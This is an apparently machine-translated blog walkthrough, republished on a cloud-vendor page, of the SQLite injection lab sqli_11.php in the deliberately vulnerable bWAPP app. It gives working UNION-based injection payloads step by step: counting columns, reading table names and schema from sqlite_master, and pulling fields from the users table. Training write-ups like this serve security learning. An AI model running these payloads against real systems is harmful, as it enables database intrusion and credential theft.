The Bwapp of SQL injection sqli_11.php

Source: Internet
Author: User
SQL Injection (SQLite)

First of all, the Sqlite,sqlite contains a built-in table "Sqlite_master" that stores the type, name, Tbl_name, Rootpage, and SQL five fields. Where the Name field stores all the table names; the Name field holds all the user tables; SQL holds all the table creation statements, the structure of the table. Start below.

1, input "title=1", the error is "error:hy000", did not find out what the error is, it may be the sign of SQLite error.

2, judge the number of fields, and see the field display bit:
Enter "Title=1 ' ORDER by 6--+" Normal, enter "Title=1 ' ORDER by 7--+" error,


Enter "title=1 ' union select 1,2,3,4,5,6--+",

3. Query Table name:
Enter "title=1" union select 1,2,3,tbl_name,5,6 from Sqlite_master--+ ",

4. Query the Users table structure, that is, the field name:
Enter "title=1" union select 1,2,3,sql,5,6 from Sqlite_master--+ ",

You can see that the table is named users, and the more important fields are admin,password,email; Of course not the admin.
5, query the contents of the field:
Enter "title=1" union select 1,2,3,admin,5,6 from Users--+ ",

Here can only one of the check, can not use the MySQL statement group_concat () function, there may be other methods, if there is Daniel know, do not know Ah, I handed Zuoyi first thanked.

The Bwapp of SQL injection sqli_11.php

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.